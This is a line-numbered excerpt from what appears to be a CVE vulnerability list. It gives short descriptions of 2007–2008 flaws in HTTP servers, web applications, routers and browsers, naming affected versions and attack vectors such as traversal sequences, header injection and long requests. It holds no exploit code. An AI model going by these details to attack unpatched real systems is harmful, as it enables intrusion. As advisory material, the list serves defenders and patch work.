19741| [CVE-2008-2143] Unspecified versions of Microsoft Outlook Web Access (OWA) use the Cache-Control: no-cache HTTP directive instead of no-store, which might cause web browsers that follow RFC-2616 to cache sensitive information.
19742| [CVE-2008-2040] Stack-based buffer overflow in the HTTP::getAuthUserPass function (core/common/http.cpp) in Peercast 0.1218 and gnome-peercast allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a Basic Authentication string with a long (1) username or (2) password.
19743| [CVE-2008-1924] Unspecified vulnerability in phpMyAdmin before 2.11.5.2, when running on shared hosts, allows remote authenticated users with CREATE table permissions to read arbitrary files via a crafted HTTP POST request, related to use of an undefined UploadDir variable.
19744| [CVE-2008-1905] NMMediaServer.exe in Nero MediaHome 3.3.3.0 and earlier, as used in Nero 8.3.2.1 and earlier, allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a long HTTP request to TCP port 54444, a different vector than CVE-2007-2322.
19745| [CVE-2008-1891] Directory traversal vulnerability in WEBrick in Ruby 1.8.4 and earlier, 1.8.5 before 1.8.5-p231, 1.8.6 before 1.8.6-p230, 1.8.7 before 1.8.7-p22, and 1.9.0 before 1.9.0-2, when using NTFS or FAT filesystems, allows remote attackers to read arbitrary CGI files via a trailing (1) + (plus), (2) %2b (encoded plus), (3) . (dot), (4) %2e (encoded dot), or (5) %20 (encoded space) character in the URI, possibly related to the WEBrick::HTTPServlet::FileHandler and WEBrick::HTTPServer.new functionality and the :DocumentRoot option.
19746| [CVE-2008-1885] Directory traversal vulnerability in the NeffyLauncher 1.0.5 ActiveX control (NeffyLauncher.dll) in CDNetworks Nefficient Download allows remote attackers to download arbitrary code onto a client system via a .. (dot dot) in the SkinPath parameter and a .zip URL in the HttpSkin parameter. NOTE: this can be leveraged for code execution by writing to a Startup folder.
19747| [CVE-2008-1854] Unspecified vulnerability in SmarterMail Web Server (SMWebSvr.exe) in SmarterMail 5.0.2999 allows remote attackers to cause a denial of service (service termination) via a long HTTP (1) GET, (2) HEAD, (3) PUT, (4) POST, or (5) TRACE request. NOTE: the provenance of this information is unknown
19748| [CVE-2008-1840] SQL injection vulnerability in upload.php in Coppermine Photo Gallery (CPG) 1.4.16 and earlier allows remote authenticated users or user-assisted remote HTTP servers to execute arbitrary SQL commands via the Content-Type HTTP response header provided by the HTTP server that is used for an upload.
19749| [CVE-2008-1777] The eDirectory Host Environment service (dhost.exe) in Novell eDirectory 8.8.2 allows remote attackers to cause a denial of service (CPU consumption) via a long HTTP HEAD request to TCP port 8028.
19750| [CVE-2008-1771] Integer overflow in the ws_getpostvars function in Firefly Media Server (formerly mt-daapd) 0.2.4.1 (0.9~r1696-1.2 on Debian) allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP POST request with a large Content-Length.
19751| [CVE-2008-1734] Interpretation conflict in PHP Toolkit before 1.0.1 on Gentoo Linux might allow local users to cause a denial of service (PHP outage) and read contents of PHP scripts by creating a file with a one-letter lowercase alphabetic name, which triggers interpretation of a certain unquoted [a-z] argument as a matching shell glob for this name, rather than interpretation as the literal [a-z] regular-expression string, and consequently blocks the launch of the PHP interpreter within the Apache HTTP Server.
19752| [CVE-2008-1697] Stack-based buffer overflow in ovwparser.dll in HP OpenView Network Node Manager (OV NNM) 7.53, 7.51, and earlier allows remote attackers to execute arbitrary code via a long URI in an HTTP request processed by ovas.exe, as demonstrated by a certain topology/homeBaseView request. NOTE: some of these details are obtained from third party information.
19753| [CVE-2008-1690] WebContainer.exe 1.0.0.336 and earlier in SLMail Pro 6.3.1.0 and earlier allows remote attackers to cause a denial of service (memory corruption and daemon crash) or possibly execute arbitrary code via a long URI in HTTP requests to TCP port 801. NOTE: some of these details are obtained from third party information.
19754| [CVE-2008-1689] Stack consumption vulnerability in WebContainer.exe 1.0.0.336 and earlier in SLMail Pro 6.3.1.0 and earlier allows remote attackers to cause a denial of service (daemon crash) via a long request header in an HTTP request to TCP port 801. NOTE: some of these details are obtained from third party information.
19755| [CVE-2008-1678] Memory leak in the zlib_stateful_init function in crypto/comp/c_zlib.c in libssl in OpenSSL 0.9.8f through 0.9.8h allows remote attackers to cause a denial of service (memory consumption) via multiple calls, as demonstrated by initial SSL client handshakes to the Apache HTTP Server mod_ssl that specify a compression algorithm.
19756| [CVE-2008-1652] Directory traversal vulnerability in the _serve_request_multiple function in lib/Perlbal/ClientHTTPBase.pm in Perlbal before 1.70, when concat get is enabled, allows remote attackers to read arbitrary files in a parent directory via a directory traversal sequence in an unspecified parameter. NOTE: some of these details are obtained from third party information.
19757| [CVE-2008-1647] The ChilkatHttp.ChilkatHttp.1 and ChilkatHttp.ChilkatHttpRequest.1 ActiveX controls in ChilkatHttp.dll 2.4.0.0, 2.3.0.0, and earlier in ChilkatHttp ActiveX expose the unsafe SaveLastError method, which allows remote attackers to overwrite arbitrary files. NOTE: some of these details are obtained from third party information.
19758| [CVE-2008-1591] The pnVarPrepForStore function in PostNuke 0.764 and earlier skips input sanitization when magic_quotes_runtime is enabled, which allows remote attackers to conduct SQL injection attacks and execute arbitrary SQL commands via input associated with server variables, as demonstrated by the CLIENT_IP HTTP header (HTTP_CLIENT_IP variable).
19759| [CVE-2008-1545] The setRequestHeader method of the XMLHttpRequest object in Microsoft Internet Explorer 7 does not restrict the dangerous Transfer-Encoding HTTP request header, which allows remote attackers to conduct HTTP request splitting and HTTP request smuggling attacks via a POST containing a "Transfer-Encoding: chunked" header and a request body with an incorrect chunk size.
19760| [CVE-2008-1544] The setRequestHeader method of the XMLHttpRequest object in Microsoft Internet Explorer 5.01, 6, and 7 does not block dangerous HTTP request headers when certain 8-bit character sequences are appended to a header name, which allows remote attackers to (1) conduct HTTP request splitting and HTTP request smuggling attacks via an incorrect Content-Length header, (2) access arbitrary virtual hosts via a modified Host header, (3) bypass referrer restrictions via an incorrect Referer header, and (4) bypass the same-origin policy and obtain sensitive information via a crafted request header.
19761| [CVE-2008-1531] The connection_state_machine function (connections.c) in lighttpd 1.4.19 and earlier, and 1.5.x before 1.5.0, allows remote attackers to cause a denial of service (active SSL connection loss) by triggering an SSL error, such as disconnecting before a download has finished, which causes all active SSL connections to be lost.
19762| [CVE-2008-1528] ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40(AGD.2) through 3.40(AHQ.3), allow remote authenticated users to obtain authentication data by making direct HTTP requests and then reading the HTML source, as demonstrated by a request for (1) RemMagSNMP.html, which discloses SNMP communities
19763| [CVE-2008-1527] ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40(PE9) and 3.40(AGD.2) through 3.40(AHQ.3), support authentication over HTTP via a hash string in the hiddenPassword field, which allows remote attackers to obtain access via a replay attack.
19764| [CVE-2008-1513] SQL injection vulnerability in index.php in Danneo CMS 0.5.1 and earlier, when the Referers statistics option is enabled, allows remote attackers to execute arbitrary SQL commands via the HTTP Referer header.
19765| [CVE-2008-1446] Integer overflow in the Internet Printing Protocol (IPP) ISAPI extension in Microsoft Internet Information Services (IIS) 5.0 through 7.0 on Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, and Server 2008 allows remote authenticated users to execute arbitrary code via an HTTP POST request that triggers an outbound IPP connection from a web server to a machine operated by the attacker, aka "Integer Overflow in IPP Service Vulnerability."
19766| [CVE-2008-1401] Format string vulnerability in the Net Inspector HTTP server (mghttpd) in MG-SOFT Net Inspector 6.5.0.828 and earlier for Windows allows remote attackers to execute arbitrary code via format string specifiers in the URI, which is recorded in a log file.
19767| [CVE-2008-1400] Directory traversal vulnerability in the Net Inspector HTTP Server (mghttpd) in MG-SOFT Net Inspector 6.5.0.828 and earlier for Windows allows remote attackers to read arbitrary files via a "..\" (dot dot backslash) or "../" (dot dot slash) in the URI.
19768| [CVE-2008-1398] SQL injection vulnerability in online.php in AuraCMS 2.0 through 2.2.1 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For field (HTTP_X_FORWARDED_FOR environment variable) in an HTTP header.
19769| [CVE-2008-1390] The AsteriskGUI HTTP server in Asterisk Open Source 1.4.x before 1.4.19-rc3 and 1.6.x before 1.6.0-beta6, Business Edition C.x.x before C.1.6, AsteriskNOW before 1.0.2, Appliance Developer Kit before revision 104704, and s800i 1.0.x before 1.1.0.2 generates insufficiently random manager ID values, which makes it easier for remote attackers to hijack a manager session via a series of ID guesses.
19770| [CVE-2008-1385] Cross-site scripting (XSS) vulnerability in the Top Referrers (aka referrer) plugin in Serendipity (S9Y) before 1.3.1 allows remote attackers to inject arbitrary web script or HTML via the Referer HTTP header.
19771| [CVE-2008-1366] Trend Micro OfficeScan Corporate Edition 8.0 Patch 2 build 1189 and earlier, and 7.3 Patch 3 build 1314 and earlier, allows remote attackers to cause a denial of service (process consumption) via (1) an HTTP request without a Content-Length header or (2) invalid characters in unspecified CGI arguments, which triggers a NULL pointer dereference.
19772| [CVE-2008-1270] mod_userdir in lighttpd 1.4.18 and earlier, when userdir.path is not set, uses a default of $HOME, which might allow remote attackers to read arbitrary files, as demonstrated by accessing the ~nobody directory.
19773| [CVE-2008-1267] The Siemens SpeedStream 6520 router allows remote attackers to cause a denial of service (web interface crash) via an HTTP request to basehelp_English.htm with a large integer in the Content-Length field.
19774| [CVE-2008-1266] Multiple buffer overflows in the web interface on the D-Link DI-524 router allow remote attackers to cause a denial of service (device crash) or possibly have unspecified other impact via (1) a long username or (2) an HTTP header with a large name and an empty value.
19775| [CVE-2008-1263] The Linksys WRT54G router stores passwords and keys in cleartext in the Config.bin file, which might allow remote authenticated users to obtain sensitive information via an HTTP request for the top-level Config.bin URI.
19776| [CVE-2008-1245] cgi-bin/setup_virtualserver.exe on the Belkin F5D7230-4 router with firmware 9.01.10 allows remote attackers to cause a denial of service (control center outage) via an HTTP request with invalid POST data and a "Connection: Keep-Alive" header.
19777| [CVE-2008-1238] Mozilla Firefox before 2.0.0.13 and SeaMonkey before 1.1.9, when generating the HTTP Referer header, does not list the entire URL when it contains Basic Authentication credentials without a username, which makes it easier for remote attackers to bypass application protection mechanisms that rely on Referer headers, such as with some Cross-Site Request Forgery (CSRF) mechanisms.
19778| [CVE-2008-1232] Cross-site scripting (XSS) vulnerability in Apache Tomcat 4.1.0 through 4.1.37, 5.5.0 through 5.5.26, and 6.0.0 through 6.0.16 allows remote attackers to inject arbitrary web script or HTML via a crafted string that is used in the message argument to the HttpServletResponse.sendError method.
19779| [CVE-2008-1169] Directory traversal vulnerability in the embedded HTTP server in SCI Photo Chat Server 3.4.9 and earlier allows remote attackers to read arbitrary files via a "..\" (dot dot backslash) or "../" (dot dot forward slash) in the GET command.
19780| [CVE-2008-1111] mod_cgi in lighttpd 1.4.18 sends the source code of CGI scripts instead of a 500 error when a fork failure occurs, which might allow remote attackers to obtain sensitive information.
19781| [CVE-2008-1106] The management interface in Akamai Client (formerly Red Swoosh) 3322 and earlier allows remote attackers to bypass authentication via an HTTP request that contains (1) no Referer header, or (2) a spoofed Referer header that matches an approved domain, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and force the client to download and execute arbitrary files.
19782| [CVE-2008-1054] Stack-based buffer overflow in the _lib_spawn_user_getpid function in (1) swatch.exe and (2) surgemail.exe in NetWin SurgeMail 38k4 and earlier, and beta 39a, allows remote attackers to cause a denial of service (daemon crash) and possibly execute arbitrary code via an HTTP request with multiple long headers to webmail.exe and unspecified other CGI executables, which triggers an overflow when assigning values to environment variables. NOTE: some of these details are obtained from third party information.
19783| [CVE-2008-1052] The administration web interface in NetWin SurgeFTP 2.3a2 and earlier allows remote attackers to cause a denial of service (daemon crash) via a large integer in the Content-Length HTTP header, which triggers a NULL pointer dereference when memory allocation fails.
19784| [CVE-2008-0983] lighttpd 1.4.18, and possibly other versions before 1.5.0, does not properly calculate the size of a file descriptor array, which allows remote attackers to cause a denial of service (crash) via a large number of connections, which triggers an out-of-bounds access.
19785| [CVE-2008-0927] dhost.exe in Novell eDirectory 8.7.3 before sp10 and 8.8.2 allows remote attackers to cause a denial of service (CPU consumption) via an HTTP request with (1) multiple Connection headers or (2) a Connection header with multiple comma-separated values. NOTE: this might be similar to CVE-2008-1777.
19786| [CVE-2008-0925] Cross-site scripting (XSS) vulnerability in the iMonitor interface in Novell eDirectory 8.7.3.x before 8.7.3 sp10, and 8.8.x before 8.8.2 ftf2, allows remote attackers to inject arbitrary web script or HTML via unspecified parameters that are used within "error messages of the HTTP stack."
19787| [CVE-2008-0871] Multiple stack-based buffer overflows in Now SMS/MMS Gateway 2007.06.27 and earlier allow remote attackers to execute arbitrary code via a (1) long password in an Authorization header to the HTTP service or a (2) large packet to the SMPP service.
19788| [CVE-2008-0870] BEA WebLogic Portal 10.0 and 9.2 through Maintenance Pack 2, under certain circumstances, can redirect a user from the https:// URI for the Portal Administration Console to an http URI, which allows remote attackers to sniff the session.
19789| [CVE-2008-0850] Multiple SQL injection vulnerabilities in Dokeos 1.8.4 allow remote attackers to execute arbitrary SQL commands via the (1) id parameter to whoisonline.php, (2) tracking_list_coaches_column parameter to main/mySpace/index.php, (3) tutor_name parameter to main/create_course/add_course.php, the (4) Referer HTTP header to index.php, and the (5) X-Fowarded-For HTTP header to main/admin/class_list.php.
19790| [CVE-2008-0834] Cross-site scripting (XSS) vulnerability in Lotus Quickr for i5/OS before 8.0.0.2 Hotfix 11, when anonymous access is disabled on HTTP ports, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19791| [CVE-2008-0786] CRLF injection vulnerability in Cacti 0.8.7 before 0.8.7b and 0.8.6 before 0.8.6k, when running on older PHP interpreters, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19792| [CVE-2008-0758] Multiple directory traversal vulnerabilities in the Zidget/HTTP embedded HTTP server in ExtremeZ-IP File and Print Server 5.1.2x15 and earlier allow remote attackers to read arbitrary (1) gif, (2) png, (3) jpg, (4) xml, (5) ico, (6) zip, and (7) html files via a "..\" (dot dot backslash) sequence in the filename.
19793| [CVE-2008-0740] IBM WebSphere Application Server (WAS) before 6.0.2 Fix Pack 25 (6.0.2.25) and 6.1 before Fix Pack 15 (6.1.0.15) writes unspecified cleartext information to http_plugin.log, which might allow local users to obtain sensitive information by reading this file.
19794| [CVE-2008-0694] Cross-site scripting (XSS) vulnerability in the HTTP Server in IBM OS/400 V5R3M0 and V5R4M0 allows remote attackers to inject arbitrary web script or HTML via the Expect HTTP header.
19795| [CVE-2008-0622] Cross-site scripting (XSS) vulnerability in RaidenHTTPD 2.0.19 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to the ulang parameter.
19796| [CVE-2008-0563] Cross-site request forgery (CSRF) vulnerability in service/impl/UserLocalServiceImpl.java in Liferay Portal 4.3.6 allows remote attackers to perform unspecified actions as unspecified authenticated users via the User-Agent HTTP header, which is used when composing Forgot Password e-mail messages in HTML format.
19797| [CVE-2008-0550] Off-by-one error in Steamcast 0.9.75 and earlier allows remote attackers to cause a denial of service (daemon crash) or execute arbitrary code via a certain HTTP request that leads to a buffer overflow, as demonstrated by a long User-Agent header.
19798| [CVE-2008-0548] Steamcast 0.9.75 and earlier allows remote attackers to cause a denial of service (daemon crash) via a large integer in the Content-Length HTTP header, which triggers a NULL dereference when malloc fails.
19799| [CVE-2008-0527] The HTTP server in Cisco Unified IP Phone 7935 and 7936 running SCCP firmware allows remote attackers to cause a denial of service (reboot) via a crafted HTTP request.
19800| [CVE-2008-0478] Directory traversal vulnerability in index.php in SetCMS 3.6.5 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the set parameter, as demonstrated by sending a certain CLIENT_IP HTTP header in an enter action to index.php, and injecting PHP sequences into files/enter.set, which is then included by index.php.
19801| [CVE-2008-0456] CRLF injection vulnerability in the mod_negotiation module in the Apache HTTP Server 2.2.6 and earlier in the 2.2.x series, 2.0.61 and earlier in the 2.0.x series, and 1.3.39 and earlier in the 1.3.x series allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks by uploading a file with a multi-line name containing HTTP header sequences and a file extension, which leads to injection within a (1) "406 Not Acceptable" or (2) "300 Multiple Choices" HTTP response when the extension is omitted in a request for the file.
19802| [CVE-2008-0455] Cross-site scripting (XSS) vulnerability in the mod_negotiation module in the Apache HTTP Server 2.2.6 and earlier in the 2.2.x series, 2.0.61 and earlier in the 2.0.x series, and 1.3.39 and earlier in the 1.3.x series allows remote authenticated users to inject arbitrary web script or HTML by uploading a file with a name containing XSS sequences and a file extension, which leads to injection within a (1) "406 Not Acceptable" or (2) "300 Multiple Choices" HTTP response when the extension is omitted in a request for the file.
19803| [CVE-2008-0448] PHP remote file inclusion vulnerability in utils/class_HTTPRetriever.php in phpSearch allows remote attackers to execute arbitrary PHP code via a URL in the libcurlemuinc parameter.
19804| [CVE-2008-0410] HTTP File Server (HFS) before 2.2c allows remote attackers to obtain configuration and usage details by using an id element such as <id>%version%</id> in HTTP Basic Authentication instead of a username and password, as demonstrated by placing this id element in the userinfo subcomponent of a URL.
19805| [CVE-2008-0409] Cross-site scripting (XSS) vulnerability in HTTP File Server (HFS) before 2.2c allows remote attackers to inject arbitrary web script or HTML via the userinfo subcomponent of a URL.
19806| [CVE-2008-0408] HTTP File Server (HFS) before 2.2c allows remote attackers to append arbitrary text to the log file by using the base64 representation of this text during HTTP Basic Authentication.
19807| [CVE-2008-0407] HTTP File Server (HFS) before 2.2c tags HTTP request log entries with the username sent during HTTP Basic Authentication, regardless of whether authentication succeeded, which might make it more difficult for an administrator to determine who made a remote request.
19808| [CVE-2008-0406] HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allows remote attackers to cause a denial of service (daemon crash) via a long account name.
19809| [CVE-2008-0405] Multiple directory traversal vulnerabilities in HTTP File Server (HFS) before 2.2c, when account names are used as log filenames, allow remote attackers to create arbitrary (1) files and (2) directories via a .. (dot dot) in an account name, when requesting the / URI
19810| [CVE-2008-0401] Buffer overflow in the logging functionality of the HTTP server in IBM Tivoli Provisioning Manager for OS Deployment (TPMfOSD) before 5.1.0.3 Interim Fix 3 allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via an HTTP request with a long method string to port 443/tcp.
19811| [CVE-2008-0396] Directory traversal vulnerability in BitDefender Update Server (http.exe), as used in BitDefender products including Security for Fileservers and Enterprise Manager (BDEM), allows remote attackers to read arbitrary files via .. (dot dot) sequences in an HTTP request.
19812| [CVE-2008-0390] stat.php in AuraCMS 1.62, and Mod Block Statistik for AuraCMS, allows remote attackers to inject arbitrary PHP code into online.db.txt via the X-Forwarded-For HTTP header in a stat action to index.php, and execute online.db.txt via a certain request to index.php.
19813| [CVE-2008-0372] 8e6 R3000 Internet Filter 2.0.05.33, and other versions before 2.0.11, allows remote attackers to bypass intended restrictions via a fragmented HTTP request.
19814| [CVE-2008-0367] Mozilla Firefox 2.0.0.11, 3.0b2, and possibly earlier versions, when prompting for HTTP Basic Authentication, displays the site requesting the authentication after the Realm text, which might make it easier for remote HTTP servers to conduct phishing and spoofing attacks.
19815| [CVE-2008-0338] Directory traversal vulnerability in the mwGetLocalFileName function in http.c in MiniWeb HTTP Server 0.8.19 allows remote attackers to read arbitrary files and list arbitrary directories via a (1) .%2e (partially encoded dot dot) or (2) %2e%2e (encoded dot dot) in the URI.
19816| [CVE-2008-0337] Heap-based buffer overflow in the _mwProcessReadSocket function in http.c in MiniWeb HTTP Server 0.8.19 allows remote attackers to execute arbitrary code via a long URI.
19817| [CVE-2008-0311] Stack-based buffer overflow in the PGMWebHandler::parse_request function in the StarTeam Multicast Service component (STMulticastService) 6.4 in Borland CaliberRM 2006 allows remote attackers to execute arbitrary code via a large HTTP request.
19818| [CVE-2008-0210] Uebimiau Webmail 2.7.10 and 2.7.2 does not protect authentication state variables from being set through HTTP requests, which allows remote attackers to bypass authentication via a sess[auth]=1 parameter settting. NOTE: this can be leveraged to conduct directory traversal attacks without authentication by using CVE-2008-0140.
19819| [CVE-2008-0202] CRLF injection vulnerability in index.php in ExpressionEngine 1.2.1 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the URL parameter.
19820| [CVE-2008-0179] Cross-site scripting (XSS) vulnerability in service/impl/UserLocalServiceImpl.java in Liferay Portal 4.3.6 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header, which is used when composing Forgot Password e-mail messages in HTML format.
19821| [CVE-2008-0178] Cross-site scripting (XSS) vulnerability in the Enterprise Admin Session Monitoring component in Liferay Portal 4.3.6 allows remote authenticated users to inject arbitrary web script or HTML via the User-Agent HTTP header.
19822| [CVE-2008-0174] GE Fanuc Proficy Real-Time Information Portal 2.6 and earlier uses HTTP Basic Authentication, which transmits usernames and passwords in base64-encoded cleartext and allows remote attackers to steal the passwords and gain privileges.
19823| [CVE-2008-0128] The SingleSignOn Valve (org.apache.catalina.authenticator.SingleSignOn) in Apache Tomcat before 5.5.21 does not set the secure flag for the JSESSIONIDSSO cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
19824| [CVE-2008-0071] The Web UI interface in (1) BitTorrent before 6.0.3 build 8642 and (2) uTorrent before 1.8beta build 10524 allows remote attackers to cause a denial of service (application crash) via an HTTP request with a malformed Range header.
19825| [CVE-2008-0050] CFNetwork in Apple Mac OS X 10.4.11 allows remote HTTPS proxy servers to spoof secure websites via data in a 502 Bad Gateway error.
19826| [CVE-2008-0017] The http-index-format MIME type parser (nsDirIndexParser) in Firefox 3.x before 3.0.4, Firefox 2.x before 2.0.0.18, and SeaMonkey 1.x before 1.1.13 does not check for an allocation failure, which allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP index response with a crafted 200 header, which triggers memory corruption and a buffer overflow.
19827| [CVE-2007-6750] The Apache HTTP Server 1.x and 2.x allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris, related to the lack of the mod_reqtimeout module in versions before 2.2.15.
19828| [CVE-2007-6724] Vidalia bundle before 0.1.2.18, when running on Windows, installs Privoxy with a configuration file (config.txt or config) that contains an insecure enable-remote-http-toggle setting, which allows remote attackers to bypass intended access restrictions and modify configuration.
19829| [CVE-2007-6682] Format string vulnerability in the httpd_FileCallBack function (network/httpd.c) in VideoLAN VLC 0.8.6d allows remote attackers to execute arbitrary code via format string specifiers in the Connection parameter.
19830| [CVE-2007-6640] Creammonkey 0.9 through 1.1 and GreaseKit 1.2 through 1.3 does not properly prevent access to dangerous functions, which allows remote attackers to read the configuration, modify the configuration, or send an HTTP request via the (1) GM_addStyle, (2) GM_log, (3) GM_openInTab, (4) GM_setValue, (5) GM_getValue, or (6) GM_xmlhttpRequest function within a web page on which a userscript is configured.
19831| [CVE-2007-6622] SQL injection vulnerability in security.php in ZeusCMS 0.3 and earlier allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
19832| [CVE-2007-6612] Directory traversal vulnerability in DirHandler (lib/mongrel/handlers.rb) in Mongrel 1.0.4 and 1.1.x before 1.1.3 allows remote attackers to read arbitrary files via an HTTP request containing double-encoded sequences (".%252e").
19833| [CVE-2007-6589] The jar protocol handler in Mozilla Firefox before 2.0.0.10 and SeaMonkey before 1.1.7 does not update the origin domain when retrieving the inner URL parameter yields an HTTP redirect, which allows remote attackers to conduct cross-site scripting (XSS) attacks via a jar: URI, a different vulnerability than CVE-2007-5947.
19834| [CVE-2007-6533] Buffer overflow in Zoom Player 6.00 beta 2 and earlier allows user-assisted remote attackers to execute arbitrary code via an HTTP link to a PLS file in a crafted ZPL file, which causes an overflow in Unicode handling when generating an error message.
19835| [CVE-2007-6514] Apache HTTP Server, when running on Linux with a document root on a Windows share mounted using smbfs, allows remote attackers to obtain unprocessed content such as source files for .php programs via a trailing "\" (backslash), which is not handled by the intended AddType directive.
19836| [CVE-2007-6511] Websense Enterprise 6.3.1 allows remote attackers to bypass content filtering by visiting http URLs with a (1) RealPlayer G2, (2) MSMSGS, or (3) StoneHttpAgent User-Agent header, which results in a Non-HTTP categorization.
19837| [CVE-2007-6454] Heap-based buffer overflow in the handshakeHTTP function in servhs.cpp in PeerCast 0.1217 and earlier, and SVN 344 and earlier, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long SOURCE request.
19838| [CVE-2007-6453] Directory traversal vulnerability in raidenhttpd-admin/workspace.php in RaidenHTTPD 2.0.19, when the WebAdmin function is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the ulang parameter.
19839| [CVE-2007-6423] ** DISPUTED ** Unspecified vulnerability in mod_proxy_balancer for Apache HTTP Server 2.2.x before 2.2.7-dev, when running on Windows, allows remote attackers to trigger memory corruption via a long URL. NOTE: the vendor could not reproduce this issue.
19840| [CVE-2007-6422] The balancer_handler function in mod_proxy_balancer in the Apache HTTP Server 2.2.0 through 2.2.6, when a threaded Multi-Processing Module is used, allows remote authenticated users to cause a denial of service (child process crash) via an invalid bb variable.
19841| [CVE-2007-6421] Cross-site scripting (XSS) vulnerability in balancer-manager in mod_proxy_balancer in the Apache HTTP Server 2.2.0 through 2.2.6 allows remote attackers to inject arbitrary web script or HTML via the (1) ss, (2) wr, or (3) rr parameters, or (4) the URL.
19842| [CVE-2007-6420] Cross-site request forgery (CSRF) vulnerability in the balancer-manager in mod_proxy_balancer for Apache HTTP Server 2.2.x allows remote attackers to gain privileges via unspecified vectors.
19843| [CVE-2007-6405] Sergey Lyubka Simple HTTPD (shttpd) 1.38 and earlier on Windows allows remote attackers to download arbitrary CGI programs or scripts via a URI with an appended (1) '+' character, (2) '.' character, (3) %2e sequence (hex-encoded dot), or (4) hex-encoded character greater than 0x7f. NOTE: the %20 vector is already covered by CVE-2007-3407.
19844| [CVE-2007-6404] Directory traversal vulnerability in Sergey Lyubka Simple HTTPD (shttpd) 1.38 and earlier on Windows allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in the URI.
19845| [CVE-2007-6388] Cross-site scripting (XSS) vulnerability in mod_status in the Apache HTTP Server 2.2.0 through 2.2.6, 2.0.35 through 2.0.61, and 1.3.2 through 1.3.39, when the server-status page is enabled, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19846| [CVE-2007-6385] The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors. NOTE: it is not clear whether this issue crosses privilege boundaries.
19847| [CVE-2007-6361] Gekko 0.8.2 and earlier stores sensitive information under the web root with possibly insufficient access control, which might allow remote attackers to read certain files under temp/, as demonstrated by a log file that records the titles of blog entries. NOTE: access to temp/ is blocked by .htaccess in most deployments that use Apache HTTP Server.
19848| [CVE-2007-6360] Unspecified vulnerability in the Sun eXtended System Control Facility (XSCF) Control Package (XCP) firmware before 1050 on SPARC Enterprise M4000, M5000, M8000, and M9000 servers allows remote attackers to cause a denial of service (reboot) via (1) telnet, (2) ssh, or (3) http network traffic that triggers memory exhaustion.
19849| [CVE-2007-6349] P4Webs.exe in Perforce P4Web 2006.2 and earlier, when running on Windows, allows remote attackers to cause a denial of service (CPU consumption) via an HTTP request with an empty body and a Content-Length greater than 0.
19850| [CVE-2007-6342] SQL injection vulnerability in the David Castro AuthCAS module (AuthCAS.pm) 0.4 for the Apache HTTP Server allows remote attackers to execute arbitrary SQL commands via the SESSION_COOKIE_NAME (session ID) in a cookie.
19851| [CVE-2007-6326] Sergey Lyubka Simple HTTPD (shttpd) 1.3 on Windows allows remote attackers to cause a denial of service via a request that includes an MS-DOS device name, as demonstrated by the /aux URI.
19852| [CVE-2007-6316] Cross-site scripting (XSS) vulnerability in BarracudaDrive Web Server before 3.8 allows remote attackers to inject arbitrary web script or HTML via the URI path in an HTTP GET request, which is activated by administrators viewing log files via the Trace page.
19853| [CVE-2007-6315] Group Chat in BarracudaDrive Web Server before 3.8 allows remote authenticated users to cause a denial of service (crash) via a HTTP request to /eh/chat.ehintf/C. that does not contain a Connection ID, which results in a NULL pointer dereference.
19854| [CVE-2007-6308] Cross-site scripting (XSS) vulnerability in HttpLogger 0.8.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
19855| [CVE-2007-6307] Multiple cross-site scripting (XSS) vulnerabilities in clickstats.php in wwwstats 3.21 allow remote attackers to inject arbitrary web script or HTML via (1) the link parameter or (2) the User-Agent HTTP header.
19856| [CVE-2007-6245] Adobe Flash Player 9.x up to 9.0.48.0, 8.x up to 8.0.35.0, and 7.x up to 7.0.70.0 allows remote attackers to modify HTTP headers for client requests and conduct HTTP Request Splitting attacks.
19857| [CVE-2007-6239] The "cache update reply processing" functionality in Squid 2.x before 2.6.STABLE17 and Squid 3.0 allows remote attackers to cause a denial of service (crash) via unknown vectors related to HTTP headers and an Array memory leak during requests for cached objects.
19858| [CVE-2007-6231] Multiple PHP remote file inclusion vulnerabilities in tellmatic 1.0.7 allow remote attackers to execute arbitrary PHP code via a URL in the tm_includepath parameter to (1) Classes.inc.php, (2) statistic.inc.php, (3) status.inc.php, (4) status_top_x.inc.php, or (5) libchart-1.1/libchart.php in include/. NOTE: access to include/ is blocked by .htaccess in most deployments that use Apache HTTP Server.
19859| [CVE-2007-6203] Apache HTTP Server 2.0.x and 2.2.x does not sanitize the HTTP Method specifier header from an HTTP request when it is reflected back in a "413 Request Entity Too Large" error message, which might allow cross-site scripting (XSS) style attacks using web client components that can send arbitrary headers in requests, as demonstrated via an HTTP request containing an invalid Content-length value, a similar issue to CVE-2006-3918.
19860| [CVE-2007-6190] The HTTP daemon in the Cisco Unified IP Phone, when the Extension Mobility feature is enabled, allows remote authenticated users of other phones associated with the same CUCM server to eavesdrop on the physical environment via a CiscoIPPhoneExecute message containing a URL attribute of an ExecuteItem element that specifies a Real-Time Transport Protocol (RTP) audio stream.
